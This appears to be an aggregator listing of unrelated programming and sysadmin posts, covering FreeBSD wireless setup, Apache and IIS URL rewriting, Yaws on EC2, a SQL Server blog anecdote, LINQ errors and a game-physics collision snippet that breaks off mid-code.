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  • ObjectStorageHelper<T> now available for Windows 8 RTM

    - by jamiet
    In October 2011 I wrote a blog post entitled ObjectStorageHelper<T> – A WinRT utility for Windows 8 where I introduced a little utility class called ObjectStorageHelper<T> that I had been working on while noodling around on the Developer Preview of Windows 8. ObjectStorageHelper<T> makes it easy for anyone building apps for Windows 8 to save data to files. How easy? As easy as this: var myPoco = new Poco() { IntProp = 1, StringProp = "one" }; var objectStorageHelper = new ObjectStorageHelper<Poco>(StorageType.Local); await objectStorageHelper.SaveAsync(myPoco); Compare that to the plumbing code that you would have to write otherwise: var Obj = new Poco() { IntProp = 1, StringProp = "one" }; StorageFile file = null; StorageFolder folder = GetFolder(storageType); file = await folder.CreateFileAsync(FileName(Obj), CreationCollisionOption.ReplaceExisting); IRandomAccessStream writeStream = await file.OpenAsync(FileAccessMode.ReadWrite); using (Stream outStream = Task.Run(() => writeStream.AsStreamForWrite()).Result) {     serializer.Serialize(outStream, Obj);     await outStream.FlushAsync(); } and you can see how ObjectStorageHelper<T> can help save a Windows 8 developer quite a few headaches. ObjectStorageHelper<T> simply requires you to pass it an object to be saved, tell it where to save it (Roaming, Local or Temporary), and you’re done. Retrieving an object from storage is equally as simple: var objectStorageHelper = new ObjectStorageHelper<Poco>(StorageType.Local); var myPoco = await objectStorageHelper.LoadAsync(); Please check the homepage for the project at http://winrtstoragehelper.codeplex.com/ for (much) more info. A number of people have used and tested ObjectStorageHelper<T> since those early days and one of those folks in particular, David Burela, was good enough to report a couple of bugs: Saving Asynchronously Save fails when class is in another project As a result of David’s bug reports and some more extensive testing on my side I have overhauled the initial code that I wrote last October and am confident that it is now much more robust and ready for primetime (check the commit history if you’re interested). The source code (which, again, you can find on Codeplex at http://winrtstoragehelper.codeplex.com/) includes a suite of unit tests to test all of the basic use cases (if you can think of any more please let me know). If you use this in any of your Windows 8 projects then please let me know. I love getting feedback and I’d also love to know if this is actually being used anywhere. @Jamiet

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  • FreeBSD 8.0 - Macbook: Trying to Connect to Wireless

    - by Koroviev
    What Happened A few days ago I installed FreeBSD 8from USB to my Macbook (Core Duo, 13"). The first thing I wanted to do was get my GUI back. I'm new to FreeBSD and it's my first time off of mac or windows, so I had some learning to do. I tried to a make clean install of xorg with ports but it returned many "No address record" errors. I realised I hadn't configured network settings and then the fun started. I ran ifconfig and it found 5 devices: msk0, ath0, fwe0, fwip0, lo0. * ath0 was identified as media: IEEE 802.11 Wireless Ethernet autoselect so it was clear which one I needed. From what I gathered, there are 3 files and two processes involved here: /boot/loader.conf /etc/wpa_supplicant.conf /etc/rc.conf /etc/rc.d/netif wpa_supplicant (which is a part of the former too) I'm certain it's a big simplification, so correct me if I'm wrong here. What I Tried I configured /boot/loader.conf with the few basic settings, and I'm most sure that this file is okay. The other 2 were more puzzling. I tried to make a network package in wpa_supplicant.conf. I found the ssid of the router, but the security wasn't so easy. The routers configuration on security is set to "Auto", with no explanation given. Other options are there, but Auto is selected. Another laptop uses WEP to connect (it's Vista, so I don't know how to get any more info than that), but I never configured it to do it. There's a string labled "wireless key" on the bottom of the router which I entered to set it up a new machine on the network (Windows and Macs, so it was simplified). I never had to choose a security type and only learned about them by installing FreeBSD. So perhaps WEP is what "Auto" means, but I can't find any other evidence. wpa_supplicant.conf seemed to never be correctly configured. I always got errors related to it and WPA_supplicant doesn't work. It gave me "Can't disable/enable WPA in the driver" errors and more once when I enabled -d -d. This was when I was trying some suspect configurations in rc.conf though. Usually it does nothing except hijack the shell and print "CTRL-SCAN-EVENT-RESULT" every 10 seconds. I learned how to clone the ath0 device to a wlandev interface (wlan0). ath0 is associated to it and their connection seems to go smoothly. But the wlan0's connection to the network is the problem. I couldn't create this with rc.conf, I do something wrong and get ifconfig: create: bad value errors whenever it's parsed. I did it via the shell instead. What Now? I scanned with wlan0 today: ifconfig wlan0 list scan It shows my router, even my neighbour's router. It was a relief to finally get some feedback. So wlan0 is UP and detects the router, but it is always status: no carrier. It can't associate with it and I can't figure out why. Running /etc/rc.d/netif start returns almost the same result as ifconfig would. It shows lo0 and wlan0, and sometimes ath0. I still not sure what lo0 is doing. So; how do I associate with it? We can assume it's WEP security based on how the other laptop is setup. I'll give every relevant output here. After boot, with a blank rc.conf this is what ifconfig returns: msk0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=11a<TXCSUM,VLAN_MTU,VLAN_HWTAGGING,TSO4> ether 00:17:f2:29:89:3b media: Ethernet autoselect ath0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 2290 ether 00:16:cb:bb:fe:65 media: IEEE 802.11 Wireless Ethernet autoselect (autoselect) status: no carrier fwe0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=8<VLAN_MTU> ether 02:17:f2:60:ad:7e ch 1 dma -1 fwip0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 lladdr 0.17.f2.ff.fe.60.ad.7e.a.2.ff.fe.0.0.0.0 lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384 options=3<RXCSUM,TXCSUM> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 I run: ifconfig wlan0 create wlandev ath0 It returns: wlan0: bpf attached wlan0: bpf attached wlan0: Ethernet address: xx:xx:xx:xx:xx:xx Ifconfig now returns: msk0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=11a<TXCSUM,VLAN_MTU,VLAN_HWTAGGING,TSO4> ether 00:17:f2:29:89:3b media: Ethernet autoselect ath0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 2290 ether 00:16:cb:bb:fe:65 media: IEEE 802.11 Wireless Ethernet autoselect (autoselect) status: no carrier fwe0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=8<VLAN_MTU> ether 02:17:f2:60:ad:7e ch 1 dma -1 fwip0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 lladdr 0.17.f2.ff.fe.60.ad.7e.a.2.ff.fe.0.0.0.0 lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384 options=3<RXCSUM,TXCSUM> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 wlan0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500 ether 00:16:cb:bb:fe:65 media: IEEE 802.11 Wireless Ethernet autoselect (autoselect) status: no carrier ssid "" channel 1 (2412 Mhz 11b) regdomain 106 indoor ecm authmode OPEN privacy OFF txpower 20 bmiss 7 scanvalid 60 bgscan bgscanintvl 300 bgscanidle 250 roam:rssi 7 roam:rate 1 wme burst bintval 0 I run: ifconfig wlan0 up ifconfig wlan0 scan It finds my router and displays its details. I can feed it my routers details now, using: ifconfig wlan0 key value key value ... They show up in wlan0 when I run ifconfig, but it still doesn't associate. What details should I feed it, what exactly is needed? What, if anything, should I have in /etc/wpa_supplicant.conf (and if that psk is needed, is it most likely the string I mentioned above)? If I define the ssid in wpa_supplicant.conf, should I still feed it to wlan0? What process should I then use to associate it? 5 .How should I add these things to rc.conf so it will automatically do this at boot? A huge thank you in advance for any help you can give, I've spent hours crawling about the shell and I've learned quite a bit from it (I finally got the hang of vi too, from all that editing). But the sooner this is fixed, the better. *P.S. I was, and still am, wondering where the extra three devices come from (the wireless and wired were all I expected to find). lo0 is up at each boot and /etc/rc.d/netif, I have no idea what it is and can't find it in dmesg. Resources: /etc/loader.conf: Code: if_ath_load="YES" wlan_wep_load="YES" wlan_ccmp_load="YES" wlan_tkip_load="YES" /etc/wpa_supplicant.conf (I emptied it of everything unnecessary, because I was just causing errors) network={ ssid="BTVOYAGER2110-1C" } /etc/rc.conf has no network settings, I commented them out because of errors. There was my attempt to clone ath0 and feed it info, but I did if via the shell instead. I've included the output of dmesg as an attachment, in case it's useful. I'd include the boot text (which appears before login) but I don't know how to catch it into a text file. If it's needed and somebody tells me how, I will (actually, even if it's not needed, how can I view it to read?).

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  • Visual Studio 2012 - Setting the target framework in C++ Projects

    - by Igor Milovanovic
    The Visual Studio 2012 doesn’t have a UI to set the Target Framework in C++ Projects.     Target Framework : 4.0   The online documentation does say to edit the .vcxproj project and change the TargetFrameworkVersion Tag. However, The C++ projects don’t have that tag by default. They just assume that the target framework is v4.0.   Instead, you have to add the TargetFrameworkVersion-Tag to the PropertyGroup Globals.   1: <PropertyGroup Label="Globals"> 2: ... 3: <RootNamespace>...</RootNamespace> 4: <TargetFrameworkVersion>v4.5</TargetFrameworkVersion> 5: </PropertyGroup>   When you reload the project, the target framework version in your project will be changed. Target Framework : 4.5   [1] How to: Modify the Target Framework and Platform Toolset http://msdn.microsoft.com/en-us/library/ff770576.aspx

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  • Use alpha or opacity on a table row using CSS [migrated]

    - by mserin
    I have a CSS stylesheet for a webpage. The webpage has a table with a background color of white (set in the rows, not the table). I would like to set the opacity or alpha to 50%. I have tried so many variations, but come up with no luck. A typical row in the HTML file is: <tr> <td>&nbsp;</td> <td>Twitter</td> </tr> The CSS settings for table rows (which works perfectly) is: tr { font-family: Arial, Helvetica, sans-serif; background:rgb(255,255,255); } To get the alpha, I tried tr { font-family: Arial, Helvetica, sans-serif; background-color:rgba(255,255,255,0.5); } I have also tried background-color-opacity: 0.5; Any other suggestions?

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  • Apache URL Rewrite

    - by sgtbeano
    I'm trying and failing to get a URL rewrite working, firstly I'm doing it in the vhost declaration, is that right? What I'm trying to do is take any URL which has; view.php?id=[a 1 or multidigit number] and rewrite it to view.php?id=[number]&section=1 Any help would be greatly appreciated, thanks for looking. Okay, so I tried the suggestion below (thanks for that) and now have this in my vhost file but still no effect; NameVirtualHost *:80 <VirtualHost *:80> ServerAdmin ######## DocumentRoot "########" ServerName ######## ErrorLog "logs\########.log <Directory "########"> DirectoryIndex index.php index.html AcceptPathInfo on Order allow,deny Allow from All </Directory> <Location /> RewriteEngine on RewriteRule ^/view.php?id=([0-9]*)$ /view.php?id=$1&section=1 [R] </Location> </VirtualHost> Any more suggestions? Thanks again

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  • Installing Yaws server on Ubuntu 12.04 (Using a cloud service)

    - by Lee Torres
    I'm trying to get a Yaws web server working on a cloud service (Amazon AWS). I've compilled and installed a local copy on the server. My problem is that I can't get Yaws to run while running on either port 8000 or port 80. I have the following configuration in yaws.conf: port = 8000 listen = 0.0.0.0 docroot = /home/ubuntu/yaws/www/test dir_listings = true This produces the following successful launch/result: Eshell V5.8.5 (abort with ^G) =INFO REPORT==== 16-Sep-2012::17:21:06 === Yaws: Using config file /home/ubuntu/yaws.conf =INFO REPORT==== 16-Sep-2012::17:21:06 === Ctlfile : /home/ubuntu/.yaws/yaws/default/CTL =INFO REPORT==== 16-Sep-2012::17:21:06 === Yaws: Listening to 0.0.0.0:8000 for <3> virtual servers: - http://domU-12-31-39-0B-1A-F6:8000 under /home/ubuntu/yaws/www/trial - =INFO REPORT==== 16-Sep-2012::17:21:06 === Yaws: Listening to 0.0.0.0:4443 for <1> virtual servers: - When I try to access the the url (http://ec2-72-44-47-235.compute-1.amazonaws.com), it never connects. I've tried using paping to check if port 80 or 8000 is open(http://code.google.com/p/paping/) and I get a "Host can not be resolved" error, so obviously something isn't working. I've also tried setting the yaws.conf so its at Port 80, appearing like this: port = 8000 listen = 0.0.0.0 docroot = /home/ubuntu/yaws/www/test dir_listings = true and I get the following error: =ERROR REPORT==== 16-Sep-2012::17:24:47 === Yaws: Failed to listen 0.0.0.0:80 : {error,eacces} =ERROR REPORT==== 16-Sep-2012::17:24:47 === Can't listen to socket: {error,eacces} =ERROR REPORT==== 16-Sep-2012::17:24:47 === Top proc died, terminate gserv =ERROR REPORT==== 16-Sep-2012::17:24:47 === Top proc died, terminate gserv =INFO REPORT==== 16-Sep-2012::17:24:47 === application: yaws exited: {shutdown,{yaws_app,start,[normal,[]]}} type: permanent {"Kernel pid terminated",application_controller," {application_start_failure,yaws,>>>>>>{shutdown,>{yaws_app,start,[normal,[]]}}}"} I've also opened up the port 80 using iptables. Running sudo iptables -L gives this output: Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- ip-192-168-2-0.ec2.internal ip-192-168-2-16.ec2.internal tcp dpt:http ACCEPT tcp -- 0.0.0.0 anywhere tcp dpt:http ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED ACCEPT tcp -- anywhere anywhere tcp dpt:http ACCEPT tcp -- anywhere anywhere tcp dpt:http Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination In addition, I've gone to the security group panel in the Amazon AWS configuration area, and add ports 80, 8000, and 8080 to ip source 0.0.0.0 Please note: if you try to access the URL of the virtual server now, it likely won't connect because I'm not running currently running the yaws daemon. I've tested it when I've run yaws either through yaws or yaws -i Thanks for the patience

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  • A tale from a Stalker

    - by Peter Larsson
    Today I thought I should write something about a stalker I've got. Don't get me wrong, I have way more fans than stalkers, but this stalker is particular persistent towards me. It all started when I wrote about Relational Division with Sets late last year(http://weblogs.sqlteam.com/peterl/archive/2010/07/02/Proper-Relational-Division-With-Sets.aspx) and no matter what he tried, he didn't get a better performing query than me. But this I didn't click until later into this conversation. He must have saved himself for 9 months before posting to me again. Well... Some days ago I get an email from someone I thought i didn't know. Here is his first email Hi, I want a proper solution for achievement the result. The solution must be standard query, means no using as any native code like TOP clause, also the query should run in SQL Server 2000 (no CTE use). We have a table with consecutive keys (nbr) that is not exact sequence. We need bringing all values related with nearest key in the current key row. See the DDL: CREATE TABLE Nums(nbr INTEGER NOT NULL PRIMARY KEY, val INTEGER NOT NULL); INSERT INTO Nums(nbr, val) VALUES (1, 0),(5, 7),(9, 4); See the Result: pre_nbr     pre_val     nbr         val         nxt_nbr     nxt_val ----------- ----------- ----------- ----------- ----------- ----------- NULL        NULL        1           0           5           7 1           0           5           7           9           4 5           7           9           4           NULL        NULL The goal is suggesting most elegant solution. I would like see your best solution first, after that I will send my best (if not same with yours)   Notice there is no name, no please or nothing polite asking for my help. So, on the top of my head I sent him two solutions, following the rule "Work on SQL Server 2000 and only standard non-native code".     -- Peso 1 SELECT               pre_nbr,                              (                                                           SELECT               x.val                                                           FROM                dbo.Nums AS x                                                           WHERE              x.nbr = d.pre_nbr                              ) AS pre_val,                              d.nbr,                              d.val,                              d.nxt_nbr,                              (                                                           SELECT               x.val                                                           FROM                dbo.Nums AS x                                                           WHERE              x.nbr = d.nxt_nbr                              ) AS nxt_val FROM                (                                                           SELECT               (                                                                                                                     SELECT               MAX(x.nbr) AS nbr                                                                                                                     FROM                dbo.Nums AS x                                                                                                                     WHERE              x.nbr < n.nbr                                                                                        ) AS pre_nbr,                                                                                        n.nbr,                                                                                        n.val,                                                                                        (                                                                                                                     SELECT               MIN(x.nbr) AS nbr                                                                                                                     FROM                dbo.Nums AS x                                                                                                                     WHERE              x.nbr > n.nbr                                                                                        ) AS nxt_nbr                                                           FROM                dbo.Nums AS n                              ) AS d -- Peso 2 CREATE TABLE #Temp                                                         (                                                                                        ID INT IDENTITY(1, 1) PRIMARY KEY,                                                                                        nbr INT,                                                                                        val INT                                                           )   INSERT                                            #Temp                                                           (                                                                                        nbr,                                                                                        val                                                           ) SELECT                                            nbr,                                                           val FROM                                             dbo.Nums ORDER BY         nbr   SELECT                                            pre.nbr AS pre_nbr,                                                           pre.val AS pre_val,                                                           t.nbr,                                                           t.val,                                                           nxt.nbr AS nxt_nbr,                                                           nxt.val AS nxt_val FROM                                             #Temp AS pre RIGHT JOIN      #Temp AS t ON t.ID = pre.ID + 1 LEFT JOIN         #Temp AS nxt ON nxt.ID = t.ID + 1   DROP TABLE    #Temp Notice there are no indexes on #Temp table yet. And here is where the conversation derailed. First I got this response back Now my solutions: --My 1st Slt SELECT T2.*, T1.*, T3.*   FROM Nums AS T1        LEFT JOIN Nums AS T2          ON T2.nbr = (SELECT MAX(nbr)                         FROM Nums                        WHERE nbr < T1.nbr)        LEFT JOIN Nums AS T3          ON T3.nbr = (SELECT MIN(nbr)                         FROM Nums                        WHERE nbr > T1.nbr); --My 2nd Slt SELECT MAX(CASE WHEN N1.nbr > N2.nbr THEN N2.nbr ELSE NULL END) AS pre_nbr,        (SELECT val FROM Nums WHERE nbr = MAX(CASE WHEN N1.nbr > N2.nbr THEN N2.nbr ELSE NULL END)) AS pre_val,        N1.nbr AS cur_nbr, N1.val AS cur_val,        MIN(CASE WHEN N1.nbr < N2.nbr THEN N2.nbr ELSE NULL END) AS nxt_nbr,        (SELECT val FROM Nums WHERE nbr = MIN(CASE WHEN N1.nbr < N2.nbr THEN N2.nbr ELSE NULL END)) AS nxt_val   FROM Nums AS N1,        Nums AS N2  GROUP BY N1.nbr, N1.val;   /* My 1st Slt Table 'Nums'. Scan count 7, logical reads 14 My 2nd Slt Table 'Nums'. Scan count 4, logical reads 23 Peso 1 Table 'Nums'. Scan count 9, logical reads 28 Peso 2 Table '#Temp'. Scan count 0, logical reads 7 Table 'Nums'. Scan count 1, logical reads 2 Table '#Temp'. Scan count 3, logical reads 16 */  To this, I emailed him back asking for a scalability test What if you try with a Nums table with 100,000 rows? His response to that started to get nasty.  I have to say Peso 2 is not acceptable. As I said before the solution must be standard, ORDER BY is not part of standard SELECT. Try this without ORDER BY:  Truncate Table Nums INSERT INTO Nums (nbr, val) VALUES (1, 0),(9,4), (5, 7)  So now we have new rules. No ORDER BY because it's not standard SQL! Of course I asked him  Why do you have that idea? ORDER BY is not standard? To this, his replies went stranger and stranger Standard Select = Set-based (no any cursor) It’s free to know, just refer to Advanced SQL Programming by Celko or mail to him if you accept comments from him. What the stalker probably doesn't know, is that I and Mr Celko occasionally are involved in some conversation and thus we exchange emails. I don't know if this reference to Mr Celko was made to intimidate me either. So I answered him, still polite, this What do you mean? The SELECT itself has a ”cursor under the hood”. Now the stalker gets rude  But however I mean the solution must no containing any order by, top... No problem, I do not like Peso 2, it’s very non-intelligent and elementary. Yes, Peso 2 is elementary but most performing queries are... And now is the time where I started to feel the stalker really wanted to achieve something else, so I wrote to him So what is your goal? Have a query that performs well, or a query that is super-portable? My Peso 2 outperforms any of your code with a factor of 100 when using more than 100,000 rows. While I awaited his answer, I posted him this query Ok, here is another one -- Peso 3 SELECT             MAX(CASE WHEN d = 1 THEN nbr ELSE NULL END) AS pre_nbr,                    MAX(CASE WHEN d = 1 THEN val ELSE NULL END) AS pre_val,                    MAX(CASE WHEN d = 0 THEN nbr ELSE NULL END) AS nbr,                    MAX(CASE WHEN d = 0 THEN val ELSE NULL END) AS val,                    MAX(CASE WHEN d = -1 THEN nbr ELSE NULL END) AS nxt_nbr,                    MAX(CASE WHEN d = -1 THEN val ELSE NULL END) AS nxt_val FROM               (                              SELECT    nbr,                                        val,                                        ROW_NUMBER() OVER (ORDER BY nbr) AS SeqID                              FROM      dbo.Nums                    ) AS s CROSS JOIN         (                              VALUES    (-1),                                        (0),                                        (1)                    ) AS x(d) GROUP BY           SeqID + x.d HAVING             COUNT(*) > 1 And here is the stats Table 'Nums'. Scan count 1, logical reads 2, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0. It beats the hell out of your queries…. Now I finally got a response from my stalker and now I also clicked who he was. This is his reponse Why you post my original method with a bit change under you name? I do not like it. See: http://www.sqlservercentral.com/Forums/Topic468501-362-14.aspx ;WITH C AS ( SELECT seq_nbr, k,        DENSE_RANK() OVER(ORDER BY seq_nbr ASC) + k AS grp_fct   FROM [Sample]         CROSS JOIN         (VALUES (-1), (0), (1)         ) AS D(k) ) SELECT MIN(seq_nbr) AS pre_value,        MAX(CASE WHEN k = 0 THEN seq_nbr END) AS current_value,        MAX(seq_nbr) AS next_value   FROM C GROUP BY grp_fct HAVING min(seq_nbr) < max(seq_nbr); These posts: Posted Tuesday, April 12, 2011 10:04 AM Posted Tuesday, April 12, 2011 1:22 PM Why post a solution where will not work in SQL Server 2000? Wait a minute! His own solution is using both a CTE and a ranking function so his query will not work on SQL Server 2000! Bummer... The reference to "Me not like" are my exact words in a previous topic on SQLTeam.com and when I remembered the phrasing, I also knew who he was. See this topic http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=159262 where he writes a query and posts it under my name, as if I wrote it. So I answered him this (less polite). Like I keep track of all topics in the whole world… J So you think you are the only one coming up with this idea? Besides, “M S solution” doesn’t work.   This is the result I get pre_value        current_value                             next_value 1                           1                           5 1                           5                           9 5                           9                           9   And I did nothing like you did here, where you posted a solution which you “thought” I should write http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=159262 So why are you yourself using ranking function when this was not allowed per your original email, and no cte? You use CTE in your link above, which do not work in SQL Server 2000. All this makes no sense to me, other than you are trying your best to once in a lifetime create a better performing query than me? After a few hours I get this email back. I don't fully understand it, but it's probably a language barrier. >>Like I keep track of all topics in the whole world… J So you think you are the only one coming up with this idea?<< You right, but do not think you are the first creator of this.   >>Besides, “M S Solution” doesn’t work. This is the result I get <<   Why you get so unimportant mistake? See this post to correct it: Posted 4/12/2011 8:22:23 PM >> So why are you yourself using ranking function when this was not allowed per your original email, and no cte? You use CTE in your link above, which do not work in SQL Server 2000. <<  Again, why you get some unimportant incompatibility? You offer that solution for current goals not me  >> All this makes no sense to me, other than you are trying your best to once in a lifetime create a better performing query than me? <<  No, I only wanted to know who you will solve it. Now I know you do not have a special solution. No problem. No problem for me either. So I just answered him I am not the first, and you are not the first to come up with this idea. So what is your problem? I am pretty sure other people have come up with the same idea before us. I used this technique all the way back to 2007, see http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=93911 Let's see if he returns...  He did! >> So what is your problem? << Nothing Thanks for all replies; maybe we have some competitions in future, maybe. Also I like you but you do not attend it. Your behavior with me is not friendly. Not any meeting… Regards //Peso

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  • Docky have stopped working since update

    - by Fraekkert
    I'm running Ubuntu 10.10 64-bit. I'm using the Docky ppa, and since the latest update It won't start. If i run it from the terminal, this is what i get: [Info 09:21:19.005] Docky version: 2.1.0 bzr docky r1761 ppa [Info 09:21:19.024] Kernel version: 2.6.35.24 [Info 09:21:19.026] CLR version: 2.0.50727.1433 [Debug 09:21:19.493] [UserArgs] BufferTime = 0 [Debug 09:21:19.494] [UserArgs] MaxSize = 2147483647 [Debug 09:21:19.494] [UserArgs] NetbookMode = False [Debug 09:21:19.494] [UserArgs] NoPollCursor = False [Debug 09:21:19.528] [SystemService] Using org.freedesktop.UPower for battery information [Info 09:21:19.564] [ThemeService] Setting theme: Transparent [Debug 09:21:19.587] [DesktopItemService] Loading remap file '/usr/share/docky/remaps.ini'. [Debug 09:21:19.599] [DesktopItemService] Remapping 'Picasa3.exe' to 'picasa'. [Debug 09:21:19.599] [DesktopItemService] Remapping 'nbexec' to 'netbeans'. [Debug 09:21:19.599] [DesktopItemService] Remapping 'deja-dup-preferences' to 'deja-dup'. [Debug 09:21:19.599] [DesktopItemService] Remapping 'VirtualBox' to 'virtualbox'. [Warn 09:21:19.600] [DesktopItemService] Could not find remap file '/home/lasse/.local/share/docky/remaps.ini'! [Debug 09:21:19.602] [DesktopItemService] Loading desktop item cache '/home/lasse/.cache/docky/docky.desktop.en_DK.utf8.cache'. [Info 09:21:20.101] [DockServices] Dock services initialized. [Debug 09:21:20.134] [DBusManager] DBus Registered: org.gnome.Docky [Debug 09:21:20.142] [DBusManager] DBus Registered: net.launchpad.DockManager Stacktrace: at (wrapper managed-to-native) System.IO.MonoIO.Read (intptr,byte[],int,int,System.IO.MonoIOError&) <IL 0x00012, 0x00062> at (wrapper managed-to-native) System.IO.MonoIO.Read (intptr,byte[],int,int,System.IO.MonoIOError&) <IL 0x00012, 0x00062> at System.IO.FileStream.ReadData (intptr,byte[],int,int) <IL 0x00009, 0x00047> at System.IO.FileStream.RefillBuffer () <IL 0x0001c, 0x0002b> at System.IO.FileStream.ReadByte () <IL 0x00079, 0x000c7> at Mono.Addins.Serialization.BinaryXmlReader.ReadNext () <IL 0x0000b, 0x00031> at Mono.Addins.Serialization.BinaryXmlReader.Skip () <IL 0x0003c, 0x00053> at Mono.Addins.Serialization.BinaryXmlReader.Skip () <IL 0x00047, 0x0005f> at Mono.Addins.Serialization.BinaryXmlReader.Skip () <IL 0x00047, 0x0005f> And this .Skip () continues infinitely, and very fast. I've tried cleaning the cache and reinstalling docky, but without luck.

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  • How to dynamically insert a keyword in an Amazon Search Widget

    - by ElHaix
    Through Amazon Associates, you can create search widgets that have a place for a search term. In the admin, you can set the default search term, but that seems to be tied to the widget ID. I would like to be able to dynamically set the search term for the widget when it is displayed. How can I accomplish this? Note: I am referring to the following banner script: <SCRIPT charset="utf-8" type="text/javascript" src="http://ws-na.amazon-adsystem.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=CA&ID=V20070822%2FCA%2F[PARTNER-ID]%2F8002%2F84cb1754-d9ab-48de-b96b-574927fa9599"> </SCRIPT> <NOSCRIPT><A HREF="http://ws-na.amazon-adsystem.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=CA&ID=V20070822%2FCA%2F[PARTNER-ID]%2F8002%2F84cb1754-d9ab-48de-b96b-574927fa9599&Operation=NoScript">Amazon.ca Widgets</A></NOSCRIPT>

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  • Redirect a url to another url in IIS 7.5

    - by Jason White
    I have no idea why this isn't working. I've tried creating map rules and then rewritng and redirecting the url. I've tried just redirecting it with a simple rewrite rule and no matter what, the only time I can get it to work is if I set the match url to match this regex .*. I'm trying to redirect webmail.example.com to mail.example.com. Seemed like it would have taken but a couple seconds; boy was I wrong. I'm thinking I must be doing something wrong with the regex, but I'm not sure what as when I test it it seems to work fine. <rule name="webmail" patternSyntax="ECMAScript" stopProcessing="true"> <match url=".*webmail.*" /> <conditions logicalGrouping="MatchAll" trackAllCaptures="false"> </conditions> <action type="Redirect" url="https://mail.example.com:8000" appendQueryString="false" logRewrittenUrl="true" /> </rule> Thanks

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  • "Cannot import name genshi" error when installing the Swab library

    - by ATMathew
    I'm trying to install the Swab library for Python 2.6 in Ubuntu 10.10. However, I get the following error messages when I try to import it. In the terminal I ran: sudo easy_install swab sudo easy_install Genshi In the Python interpreter I ran: >>> import swab Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/local/lib/python2.6/dist-packages/swab-0.1.2-py2.6.egg/swab/__init__.py", line 23, in <module> from pestotools.genshi import genshi, render_docstring ImportError: cannot import name genshi I don't know whats going on. can anyone help.

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  • Fixing LINQ Error: Sequence contains no elements

    - by ChrisD
    I’ve read some posts regarding this error when using the First() or Single() command.   They suggest using FirstOrDefault() or SingleorDefault() instead. But I recently encountered it when using a Sum() command in conjunction with a Where():   Code Snippet var effectiveFloor = policies.Where(p => p.PricingStrategy == PricingStrategy.EstablishFloor).Max(p => p.Amount);   When the Where() function eliminated all the items in the policies collection, the Sum() command threw the “Sequence contains no elements” exception.   Inserting the DefaultIfEmpty() command between the Where() and Sum(), prevents this error: Code Snippet var effectiveFloor = policies.Where(p => p.PricingStrategy == PricingStrategy.EstablishFloor).DefaultIfEmpty().Max(p => p.Amount);   but now throws a Null Reference exception!   The Fix: Using a combination of DefaultIfEmpty() and a null check in the Sum() command solves this problem entirely: Code Snippet var effectiveFloor = policies.Where(p => p.PricingStrategy == PricingStrategy.EstablishFloor).DefaultIfEmpty().Max(p =>  p==null?0 :p.Amount);

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  • How to create the right loop / jquery / picture wipe? [migrated]

    - by Razor
    <script type="text/javascript" src="slider/jquery.touch-gallery-1.0.0.js"></script> <script type="text/javascript" src="slider/jquery.touch-gallery-1.0.0.min.js"></script> <script> $('body').live("click", function() { for (var i=0; i<4; i++) { alert("bla: "+i); } }); $('body').live("swipeleft", function(){ var nextpage = $("#page00002").next('section[data-role="page"]'); $.mobile.changePage(nextpage, 'slide'); }); $('body').live("swiperight", function(){ var prevpage = $("#page1").prev('section[data-role="page"]'); $.mobile.changePage(prevpage, 'slide'); }); </script>

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  • Physics System ignores collision in some rare cases

    - by Gajoo
    I've been developing a simple physics engine for my game. since the game physics is very simple I've decided to increase accuracy a little bit. Instead of formal integration methods like fourier or RK4, I'm directly computing the results after delta time "dt". based on the very first laws of physics : dx = 0.5 * a * dt^2 + v0 * dt dv = a * dt where a is acceleration and v0 is object's previous velocity. Also to handle collisions I've used a method which is somehow different from those I've seen so far. I'm detecting all the collision in the given time frame, stepping the world forward to the nearest collision, resolving it and again check for possible collisions. As I said the world consist of very simple objects, so I'm not loosing any performance due to multiple collision checking. First I'm checking if the ball collides with any walls around it (which is working perfectly) and then I'm checking if it collides with the edges of the walls (yellow points in the picture). the algorithm seems to work without any problem except some rare cases, in which the collision with points are ignored. I've tested everything and all the variables seem to be what they should but after leaving the system work for a minute or two the system the ball passes through one of those points. Here is collision portion of my code, hopefully one of you guys can give me a hint where to look for a potential bug! void PhysicalWorld::checkForPointCollision(Vec2 acceleration, PhysicsComponent& ball, Vec2& collisionNormal, float& collisionTime, Vec2 target) { // this function checks if there will be any collision between a circle and a point // ball contains informations about the circle (it's current velocity, position and radius) // collisionNormal is an output variable // collisionTime is also an output varialbe // target is the point I want to check for collisions Vec2 V = ball.mVelocity; Vec2 A = acceleration; Vec2 P = ball.mPosition - target; float wallWidth = mMap->getWallWidth() / (mMap->getWallWidth() + mMap->getHallWidth()) / 2; float r = ball.mRadius / (mMap->getWallWidth() + mMap->getHallWidth()); // r is ball radius scaled to match actual rendered object. if (A.any()) // todo : I need to first correctly solve the collisions in case there is no acceleration return; if (V.any()) // if object is not moving there will be no collisions! { float D = P.x * V.y - P.y * V.x; float Delta = r*r*V.length2() - D*D; if(Delta < eps) return; Delta = sqrt(Delta); float sgnvy = V.y > 0 ? 1: (V.y < 